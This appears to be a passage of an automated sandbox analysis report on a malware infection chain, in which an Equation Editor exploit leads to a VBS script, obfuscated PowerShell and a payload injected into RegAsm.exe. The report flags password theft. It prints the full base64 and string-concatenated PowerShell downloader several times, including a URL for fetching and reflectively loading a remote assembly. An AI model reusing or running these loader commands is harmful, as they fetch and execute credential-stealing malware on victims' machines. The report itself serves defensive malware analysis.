Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1692	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2052	Thread sleep count: 193 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2052	Thread sleep time: -96500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1972	Thread sleep count: 271 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1972	Thread sleep time: -813000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1972	Thread sleep count: 9260 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1972	Thread sleep time: -27780000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	16_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	16_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	16_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	16_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	16_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00407877 FindFirstFileW,FindNextFileW,	16_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0044E8F9 FindFirstFileExA,	16_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	16_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	16_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	16_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

16_2_00407CD2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_16-49084

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Bypasses PowerShell execution policy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

16_2_00434A8A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

16_2_0041CBE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00443355 mov eax, dword ptr fs:[00000030h]

16_2_00443355

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_004120B2 GetProcessHeap,HeapFree,

16_2_004120B2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00434BD8 SetUnhandledExceptionFilter,	16_2_00434BD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_0043503C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00434A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0043BB71

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

16_2_00412132

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00419662 mouse_event,

16_2_00419662

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicepicturewithyourebodygreen.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjfnirwxmswrbmv0rjfniruxsawrbmtndkyd4jykgkcgnzzzxdxjsid0gzicrj3e0jysnahqnkyd0jysncccrj3m6ly8nkydyyscrj3cuzycrj2l0ahvidxnlcmnvbnrlbicrj3quy28nkydtlycrj05vrgv0zwn0t24nkycvtm9ezscrj3qnkydljysny3qnkydpjysnbi9yzscrj2zzl2gnkydljysnywrzl20nkydhaw4nkycvrgv0ywgnkydob3rolvynkycujysndhh0zne0oybnnldijysnyscrj3nlnicrjzrdb250zscrj250iccrjz0gjysnke5ldy1pjysnymply3qgjysnu3knkydzdgvtlk5ldc4nkydxzwjdbglljysnbicrj3qplicrj0rvdycrj24nkydsbycrj2fku3ryjysnaw5nkgc2v3vyjysnbck7igcnkyc2jysnv2inkydpjysnbmfyescrj0nvbnqnkydlbnqgpsbbu3knkydzdgvtlicrj0nvbnzlcicrj3rdoicrjzpgcm8nkydtqicrj2fzzscrjzy0u3ryjysnaw5njysnkgcnkyc2jysnv2jhjysnc2u2nccrj0nvbnrlbicrj3qpoycrjybnnldhc3nlbwjsjysnesa9iftszwynkydszscrj2n0aw9ulkfzcycrj2unkydtymx5xto6tg9hzccrjyhnnlcnkydiaw5hcnldbycrj250zw50jysnktsgjysnw2rujysnbglilklplicrj0hvbwunkyddjysnojpwqukocicrj2f5dhgnkyd0licrj1jfrvdslycrjza1nscrjy84nccrjzeumjmujysnoccrjzyxlicrjzqwjysnmscrjy8vonb0dghyyxksiccrj3jhescrj2rlc2f0axynkydhjysnzccrj29yjysnyxknkycsiccrj3jhewrlcycrj2f0jysnaxzhzg9yjysnyxksihjhewrljysncycrj2enkyd0axzhzccrj29yyxksiccrj3inkydhevinkydlz0fzbxjhescrjywgcmenkyd5cmenkyd5lhjhexjhesknks5yrvbmqunlkchby0hbcl0xmtqrw2niqxjdotcrw2niqxjdmtixksxbc1ryau5hxvtjsefyxtm0ks5yrvbmqunlkchby0hbcl0xmdirw2niqxjdmtezk1tjsefyxtuyksxbc1ryau5hxvtjsefyxtm5ks5yrvbmqunlkchby0hbcl0xmdmrw2niqxjdntqrw2niqxjdodcplftzvhjptkddw2niqxjdmzypick=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $shellid[1]+$shellid[13]+'x') (('g6wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'nodetecton'+'/node'+'t'+'e'+'ct'+'o'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/detah'+'noth-v'+'.'+'txtfq4; g6wb'+'a'+'se6'+'4conte'+'nt '+'= '+'(new-o'+'bject '+'sy'+'stem.net.'+'webclie'+'n'+'t).'+'dow'+'n'+'lo'+'adstr'+'ing(g6wur'+'l); g'+'6'+'wb'+'i'+'nary'+'cont'+'ent = [sy'+'stem.'+'conver'+'t]:'+':fro'+'mb'+'ase'+'64str'+'ing'+'(g'+'6'+'wba'+'se64'+'conten'+'t);'+' g6wassembl'+'y = [ref'+'le'+'ction.ass'+'e'+'mbly]::load'+'(g6w'+'binaryco'+'ntent'+'); '+'[dn'+'lib.io.'+'home'+']'+'::vai(r'+'aytx'+'t.'+'reewr/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayr'+'egasmray'+', ra'+'yra'+'y,rayray)').replace(([char]114+[char]97+[char]121),[string][char]34).replace(([char]102+[char]113+[char]52),[string][char]39).replace(([char]103+[char]54+[char]87),[string][char]36) )"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjfnirwxmswrbmv0rjfniruxsawrbmtndkyd4jykgkcgnzzzxdxjsid0gzicrj3e0jysnahqnkyd0jysncccrj3m6ly8nkydyyscrj3cuzycrj2l0ahvidxnlcmnvbnrlbicrj3quy28nkydtlycrj05vrgv0zwn0t24nkycvtm9ezscrj3qnkydljysny3qnkydpjysnbi9yzscrj2zzl2gnkydljysnywrzl20nkydhaw4nkycvrgv0ywgnkydob3rolvynkycujysndhh0zne0oybnnldijysnyscrj3nlnicrjzrdb250zscrj250iccrjz0gjysnke5ldy1pjysnymply3qgjysnu3knkydzdgvtlk5ldc4nkydxzwjdbglljysnbicrj3qplicrj0rvdycrj24nkydsbycrj2fku3ryjysnaw5nkgc2v3vyjysnbck7igcnkyc2jysnv2inkydpjysnbmfyescrj0nvbnqnkydlbnqgpsbbu3knkydzdgvtlicrj0nvbnzlcicrj3rdoicrjzpgcm8nkydtqicrj2fzzscrjzy0u3ryjysnaw5njysnkgcnkyc2jysnv2jhjysnc2u2nccrj0nvbnrlbicrj3qpoycrjybnnldhc3nlbwjsjysnesa9iftszwynkydszscrj2n0aw9ulkfzcycrj2unkydtymx5xto6tg9hzccrjyhnnlcnkydiaw5hcnldbycrj250zw50jysnktsgjysnw2rujysnbglilklplicrj0hvbwunkyddjysnojpwqukocicrj2f5dhgnkyd0licrj1jfrvdslycrjza1nscrjy84nccrjzeumjmujysnoccrjzyxlicrjzqwjysnmscrjy8vonb0dghyyxksiccrj3jhescrj2rlc2f0axynkydhjysnzccrj29yjysnyxknkycsiccrj3jhewrlcycrj2f0jysnaxzhzg9yjysnyxksihjhewrljysncycrj2enkyd0axzhzccrj29yyxksiccrj3inkydhevinkydlz0fzbxjhescrjywgcmenkyd5cmenkyd5lhjhexjhesknks5yrvbmqunlkchby0hbcl0xmtqrw2niqxjdotcrw2niqxjdmtixksxbc1ryau5hxvtjsefyxtm0ks5yrvbmqunlkchby0hbcl0xmdirw2niqxjdmtezk1tjsefyxtuyksxbc1ryau5hxvtjsefyxtm5ks5yrvbmqunlkchby0hbcl0xmdmrw2niqxjdntqrw2niqxjdodcplftzvhjptkddw2niqxjdmzypick=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $shellid[1]+$shellid[13]+'x') (('g6wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'nodetecton'+'/node'+'t'+'e'+'ct'+'o'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/detah'+'noth-v'+'.'+'txtfq4; g6wb'+'a'+'se6'+'4conte'+'nt '+'= '+'(new-o'+'bject '+'sy'+'stem.net.'+'webclie'+'n'+'t).'+'dow'+'n'+'lo'+'adstr'+'ing(g6wur'+'l); g'+'6'+'wb'+'i'+'nary'+'cont'+'ent = [sy'+'stem.'+'conver'+'t]:'+':fro'+'mb'+'ase'+'64str'+'ing'+'(g'+'6'+'wba'+'se64'+'conten'+'t);'+' g6wassembl'+'y = [ref'+'le'+'ction.ass'+'e'+'mbly]::load'+'(g6w'+'binaryco'+'ntent'+'); '+'[dn'+'lib.io.'+'home'+']'+'::vai(r'+'aytx'+'t.'+'reewr/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayr'+'egasmray'+', ra'+'yra'+'y,rayray)').replace(([char]114+[char]97+[char]121),[string][char]34).replace(([char]102+[char]113+[char]52),[string][char]39).replace(([char]103+[char]54+[char]87),[string][char]36) )"	Jump to behavior

Source: RegAsm.exe, 00000010.00000002.1027592173.00000000008AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 00000010.00000002.1027592173.0000000000891000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerChrome
Source: RegAsm.exe, 00000010.00000002.1027592173.0000000000891000.00000004.00000020.00020000.00000000.sdmp, logs.dat.16.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00434CB6 cpuid

16_2_00434CB6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	16_2_0045201B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	16_2_004520B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	16_2_00452143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	16_2_00452393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	16_2_00448484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	16_2_004524BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	16_2_004525C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	16_2_00452690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	16_2_0044896D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	16_2_0040F90C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,GetLocaleInfoW,	16_2_00451D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	16_2_00451FD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_004489D7 GetSystemTimeAsFileTime,

16_2_004489D7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0041B69E GetUserNameW,

16_2_0041B69E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00449210 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

16_2_00449210

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE
